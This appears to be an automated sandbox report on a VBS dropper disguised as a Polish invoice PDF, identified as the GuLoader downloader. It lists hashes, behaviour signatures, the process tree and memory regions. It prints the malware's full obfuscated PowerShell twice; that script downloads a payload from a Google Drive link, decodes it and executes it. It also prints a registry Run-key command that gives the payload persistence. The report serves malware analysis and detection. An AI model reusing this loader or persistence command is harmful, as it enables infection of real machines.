Analysis

  • max time kernel
    118s
  • max time network
    191s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    19-09-2024 06:31

General

  • Target

    Faktura_7122128240·pdf.vbs

  • Size

    7KB

  • MD5

    cc6e41e0786764096a50057a3743e7c6

  • SHA1

    2493a1410d91a8084249ef9f0b3e7aa885ddef5d

  • SHA256

    7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d

  • SHA512

    5bfe75eb2661459a1073348cfadb64ced142baae9ff54fcd7a8733ae7ffc750f9ab41f2e1415ed275c7ec9f33257a7201bf0e5881ff0d26c2eac644c04aee38c

  • SSDEEP

    96:lmXU2FvaJR+t7tVQm+83tkD3J8j0dEvOItsLQWSK+PtevdOYPmCVUbtCpgjPVHQv:lmk2VaJeXj0exCnItmd/Pml9jPp4jQYB

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Faktura_7122128240·pdf.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2364
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Automanipulation='sramana';$Arsenyl=${host}.Runspace;If ($Arsenyl) {$Forhjulstrkket++;$Automanipulation+='Periosteum';$Miljreform='s';$Automanipulation+='Kostfri';$Miljreform+='ubst';$Automanipulation+='simarubaceous';$Miljreform+='ri';$Automanipulation+='Unindigenous';$Miljreform+='ng';};Function Diskpladsers76($Fimsenes){$Glycocholate51=$Fimsenes.Length-$Forhjulstrkket;For( $Agrin=1;$Agrin -lt $Glycocholate51;$Agrin+=2){$Callahan10+=$Fimsenes.$Miljreform.'Invoke'( $Agrin, $Forhjulstrkket);}$Callahan10;}function Albueben($Rundhaandedes){ . ($Forlbelsers) ($Rundhaandedes);}$Kontinuerliges193=Diskpladsers76 'KMboUzGiBl.lCa /P5 .M0s (,WGi,nsdCoswssM NATU F1 0R.P0 ;T .W i nF6F4L; RxC6 4 ;, Or v :U1 2 1c.O0 ) OGNe cAkTo /.2 0s1 0.0 1s0K1G DFci r,eBfBoixM/s1F2 1 . 0 ';$Eskortefartjernes=Diskpladsers76 ',UKs e rM-NA g,eCnBt ';$Bldgrers=Diskpladsers76 'ChOtstFp s : /T/.d.r.iPvTeK.EgMoKo gFlFe .AcEo,mp/Au,cJ?Ee xsp o r t =NdCo,wEnsl oPaIdP& iPd,=B1bC,7 HC1 t f U mCn _ajsU C F KDlFE.8asJ6UFsFL_,0 M Y,v Y n gA9 iH ';$Foresattes=Diskpladsers76 ',>. ';$Forlbelsers=Diskpladsers76 'Oi e xP ';$skandinavismens='Hrenes';$Konsignationen = Diskpladsers76 'DeNc hGo .%.a pFp dEa tFa.%.\KT hPeRiss..,W,e eP &,&U e.cFhFo, st, ';Albueben (Diskpladsers76 ' $ g.l okb a l.:ssAc.o u,r,sI=B( c m.d, /Oc .$ KCo,nFsDi g nma,tCi o nGeTnr)I ');Albueben (Diskpladsers76 '.$Pgsl,oTbVaslB: LPi qNu iRd,iEz eCd.6 6R=K$ BVlsdFg r e r s .Us p lEiPtM(.$ FZoFr.e,s ast t.eXs ). ');Albueben (Diskpladsers76 'R[sNTe t . sbe rNveiOcbe,P oIifnBt M a nTaEgAeCrU].:,: s etc uArRi t y P,rNo.tsoDc,oBlT T=. .[.N eDt,.Bsme cPu r iUt yRPDr ost.o,cEoNlPT y pCe ]s:D: T.l sF1E2, ');$Bldgrers=$Liquidized66[0];$sknnere= (Diskpladsers76 'G$Ug lDoTb.a,lF:FCTosp isnbgBs =FNUeBw.-VOYbUj,ePc.t Ps y s.t.eBm . N.eAt .TWCeFb C.l.iAeTn t');$sknnere+=$scours[1];Albueben ($sknnere);Albueben (Diskpladsers76 't$.Cso,p.i.n gBs...H,e,a.dseOrHsN[E$.EOs.kMoNr tCeIfEairHt jReArHn.ets ] = $.K,o n t i.n u e r.l i g e sC1 9 3U ');$Opt=Diskpladsers76 ' $ CIoIp.iDnBg.ss. D o w.n lOo aGd F iFl eB( $ BPlsdIg r.e,r.sD,,$CD iCePs,e.l i zTaBt iPo nEsO)F ';$Dieselizations=$scours[0];Albueben (Diskpladsers76 ' $Tg,l o b aTl,:,B o y efs =,(CTEessOtA-YP a tLh, P$TDHiLeTs,eEl iEz aNtPi o.nDsU)s ');while (!$Boyes) {Albueben (Diskpladsers76 'a$ g l oPb,asl : sOm i.t.aBbBl e,=P$at rVuKe ') ;Albueben $Opt;Albueben (Diskpladsers76 ' sPtUa,r,t.-fs lPesesps R4, ');Albueben (Diskpladsers76 ',$BgslRo,b aWl :,BLo yDeRs =M( TGe.sHtM-OP.aMtshP M$,DsireLs eFl i z.a t.iEo,nFs ) ') ;Albueben (Diskpladsers76 'I$ g l,o,b.aulT:EG r u nEd.sBk u d dPeVt,9,0s=.$FgRl oTb aslB:IL nCsPu.msmUe rL+B+C%A$ LDiAqsu i dPiBzPe dH6.6P. c oAuan,t. ') ;$Bldgrers=$Liquidized66[$Grundskuddet90];}$Rensningsforanstaltninger=311121;$Denaturerende=27562;Albueben (Diskpladsers76 ' $sgPlso,b a.l :bF o rAr.eGtKnPipn g.s gAr uFn dsl a g =W G.e tD-MCsoGnEtAeAn tR H$HD iOeMsLe,l,i zIaRtUi,o,n s. ');Albueben (Diskpladsers76 'A$.g lPo b a ls:NsBp eTc,i f.iTkUaTtsiso,n s m e t o dFiBkCsB .=, ,[ sfy sOtsePmH. C,o nPv eArCtA]d:C:AF,r oFmGBGa s eB6 4,s.t.rEiUnAg ( $GF osrsrPe.t nei n g sOg rAu nCdslmaHgE)M ');Albueben (Diskpladsers76 '.$ gsl o bVaTl :.GraFl a,nBe r b= k[ sAyUs,tIesmK.,T.e.xPta.IE.nsc oVd,iHn,g ],:s:KAFs C,I Ie. GTe,tFs,t.r,iPnDgD(,$Ks.p e c.i.f i ksaAt.iPo nss,mTe.t o d,i.k s )T ');Albueben (Diskpladsers76 'g$Fg l,oKb,aHl :.H a eUm.n i nTg.= $sG.aLl a,nEe r,.Ns u,b,sAtGr i,nLg.(s$HR e.n,s.n.i nRg,sRf o.r.a,n,s,tAa l t,nRi n,gse rb,s$ DWe nGa,t u rMe.rReDnsdCes)I ');Albueben $Haemning;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2192
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Theis.Wee && echo t"
        3⤵
          PID:2628
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Automanipulation='sramana';$Arsenyl=${host}.Runspace;If ($Arsenyl) {$Forhjulstrkket++;$Automanipulation+='Periosteum';$Miljreform='s';$Automanipulation+='Kostfri';$Miljreform+='ubst';$Automanipulation+='simarubaceous';$Miljreform+='ri';$Automanipulation+='Unindigenous';$Miljreform+='ng';};Function Diskpladsers76($Fimsenes){$Glycocholate51=$Fimsenes.Length-$Forhjulstrkket;For( $Agrin=1;$Agrin -lt $Glycocholate51;$Agrin+=2){$Callahan10+=$Fimsenes.$Miljreform.'Invoke'( $Agrin, $Forhjulstrkket);}$Callahan10;}function Albueben($Rundhaandedes){ . ($Forlbelsers) ($Rundhaandedes);}$Kontinuerliges193=Diskpladsers76 'KMboUzGiBl.lCa /P5 .M0s (,WGi,nsdCoswssM NATU F1 0R.P0 ;T .W i nF6F4L; RxC6 4 ;, Or v :U1 2 1c.O0 ) OGNe cAkTo /.2 0s1 0.0 1s0K1G DFci r,eBfBoixM/s1F2 1 . 0 ';$Eskortefartjernes=Diskpladsers76 ',UKs e rM-NA g,eCnBt ';$Bldgrers=Diskpladsers76 'ChOtstFp s : /T/.d.r.iPvTeK.EgMoKo gFlFe .AcEo,mp/Au,cJ?Ee xsp o r t =NdCo,wEnsl oPaIdP& iPd,=B1bC,7 HC1 t f U mCn _ajsU C F KDlFE.8asJ6UFsFL_,0 M Y,v Y n gA9 iH ';$Foresattes=Diskpladsers76 ',>. ';$Forlbelsers=Diskpladsers76 'Oi e xP ';$skandinavismens='Hrenes';$Konsignationen = Diskpladsers76 'DeNc hGo .%.a pFp dEa tFa.%.\KT hPeRiss..,W,e eP &,&U e.cFhFo, st, ';Albueben (Diskpladsers76 ' $ g.l okb a l.:ssAc.o u,r,sI=B( c m.d, /Oc .$ KCo,nFsDi g nma,tCi o nGeTnr)I ');Albueben (Diskpladsers76 '.$Pgsl,oTbVaslB: LPi qNu iRd,iEz eCd.6 6R=K$ BVlsdFg r e r s .Us p lEiPtM(.$ FZoFr.e,s ast t.eXs ). ');Albueben (Diskpladsers76 'R[sNTe t . sbe rNveiOcbe,P oIifnBt M a nTaEgAeCrU].:,: s etc uArRi t y P,rNo.tsoDc,oBlT T=. .[.N eDt,.Bsme cPu r iUt yRPDr ost.o,cEoNlPT y pCe ]s:D: T.l sF1E2, ');$Bldgrers=$Liquidized66[0];$sknnere= (Diskpladsers76 'G$Ug lDoTb.a,lF:FCTosp isnbgBs =FNUeBw.-VOYbUj,ePc.t Ps y s.t.eBm . N.eAt .TWCeFb C.l.iAeTn t');$sknnere+=$scours[1];Albueben ($sknnere);Albueben (Diskpladsers76 't$.Cso,p.i.n gBs...H,e,a.dseOrHsN[E$.EOs.kMoNr tCeIfEairHt jReArHn.ets ] = $.K,o n t i.n u e r.l i g e sC1 9 3U ');$Opt=Diskpladsers76 ' $ CIoIp.iDnBg.ss. D o w.n lOo aGd F iFl eB( $ BPlsdIg r.e,r.sD,,$CD iCePs,e.l i zTaBt iPo nEsO)F ';$Dieselizations=$scours[0];Albueben (Diskpladsers76 ' $Tg,l o b aTl,:,B o y efs =,(CTEessOtA-YP a tLh, P$TDHiLeTs,eEl iEz aNtPi o.nDsU)s ');while (!$Boyes) {Albueben (Diskpladsers76 'a$ g l oPb,asl : sOm i.t.aBbBl e,=P$at rVuKe ') ;Albueben $Opt;Albueben (Diskpladsers76 ' sPtUa,r,t.-fs lPesesps R4, ');Albueben (Diskpladsers76 ',$BgslRo,b aWl :,BLo yDeRs =M( TGe.sHtM-OP.aMtshP M$,DsireLs eFl i z.a t.iEo,nFs ) ') ;Albueben (Diskpladsers76 'I$ g l,o,b.aulT:EG r u nEd.sBk u d dPeVt,9,0s=.$FgRl oTb aslB:IL nCsPu.msmUe rL+B+C%A$ LDiAqsu i dPiBzPe dH6.6P. c oAuan,t. ') ;$Bldgrers=$Liquidized66[$Grundskuddet90];}$Rensningsforanstaltninger=311121;$Denaturerende=27562;Albueben (Diskpladsers76 ' $sgPlso,b a.l :bF o rAr.eGtKnPipn g.s gAr uFn dsl a g =W G.e tD-MCsoGnEtAeAn tR H$HD iOeMsLe,l,i zIaRtUi,o,n s. ');Albueben (Diskpladsers76 'A$.g lPo b a ls:NsBp eTc,i f.iTkUaTtsiso,n s m e t o dFiBkCsB .=, ,[ sfy sOtsePmH. C,o nPv eArCtA]d:C:AF,r oFmGBGa s eB6 4,s.t.rEiUnAg ( $GF osrsrPe.t nei n g sOg rAu nCdslmaHgE)M ');Albueben (Diskpladsers76 '.$ gsl o bVaTl :.GraFl a,nBe r b= k[ sAyUs,tIesmK.,T.e.xPta.IE.nsc oVd,iHn,g ],:s:KAFs C,I Ie. GTe,tFs,t.r,iPnDgD(,$Ks.p e c.i.f i ksaAt.iPo nss,mTe.t o d,i.k s )T ');Albueben (Diskpladsers76 'g$Fg l,oKb,aHl :.H a eUm.n i nTg.= $sG.aLl a,nEe r,.Ns u,b,sAtGr i,nLg.(s$HR e.n,s.n.i nRg,sRf o.r.a,n,s,tAa l t,nRi n,gse rb,s$ DWe nGa,t u rMe.rReDnsdCes)I ');Albueben $Haemning;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2624
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Theis.Wee && echo t"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:2024
          • C:\Program Files (x86)\windows mail\wab.exe
            "C:\Program Files (x86)\windows mail\wab.exe"
            4⤵
            • Suspicious use of NtCreateThreadExHideFromDebugger
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1284
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Heliometry% -w 1 $Rrligst138=(Get-ItemProperty -Path 'HKCU:\Hyperaktuelles\').Midwintry;%Heliometry% ($Rrligst138)"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2936
              • C:\Windows\SysWOW64\reg.exe
                REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Heliometry% -w 1 $Rrligst138=(Get-ItemProperty -Path 'HKCU:\Hyperaktuelles\').Midwintry;%Heliometry% ($Rrligst138)"
                6⤵
                • Adds Run key to start application
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:2832

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZLWG03U4JOY1CLT7U6ID.temp

      Filesize

      7KB

      MD5

      c7a62352a5b9701a1c31322e32423ed0

      SHA1

      5b5204a480cd825f48c9978e380c1ded0e0673bd

      SHA256

      4b401eb9c7548b1d49dc21526ce2c2ec572e5d3f6de3849587017ffbcfd2230c

      SHA512

      8e565a24783e0e9fe1968d5a63cba76b3565e3cf05c0a6fae13107b78e396249700cfacf5e5d40da2ad89fc692151b4d7ece066877d11e64e19d2bdebb9c3a0c

    • C:\Users\Admin\AppData\Roaming\Theis.Wee

      Filesize

      440KB

      MD5

      101f0456c78a51dc6621f338fa0590e6

      SHA1

      744017fe918a845dfc161516dab0f86579912507

      SHA256

      3663b6fbf739bde311b85220fc41f266ec6f90cc6445c3ce77f3db94972aeac3

      SHA512

      f56f372d17ee4843b3c68831d66549ccd9d72a4effebac7c53f4dda841d5454f4599f736db890f055604e2b179eab4c43836162567bdd1e63a598a807386a5f0

    • memory/1284-43-0x00000000015B0000-0x0000000003C1F000-memory.dmp

      Filesize

      38.4MB

    • memory/1284-41-0x0000000000540000-0x00000000015A2000-memory.dmp

      Filesize

      16.4MB

    • memory/2192-10-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

      Filesize

      9.6MB

    • memory/2192-9-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

      Filesize

      9.6MB

    • memory/2192-6-0x000000001B800000-0x000000001BAE2000-memory.dmp

      Filesize

      2.9MB

    • memory/2192-11-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

      Filesize

      9.6MB

    • memory/2192-12-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

      Filesize

      9.6MB

    • memory/2192-13-0x000007FEF551E000-0x000007FEF551F000-memory.dmp

      Filesize

      4KB

    • memory/2192-15-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

      Filesize

      9.6MB

    • memory/2192-4-0x000007FEF551E000-0x000007FEF551F000-memory.dmp

      Filesize

      4KB

    • memory/2192-8-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

      Filesize

      9.6MB

    • memory/2192-7-0x00000000005B0000-0x00000000005B8000-memory.dmp

      Filesize

      32KB

    • memory/2192-5-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

      Filesize

      9.6MB

    • memory/2192-45-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

      Filesize

      9.6MB

    • memory/2624-20-0x0000000006570000-0x0000000008BDF000-memory.dmp

      Filesize

      38.4MB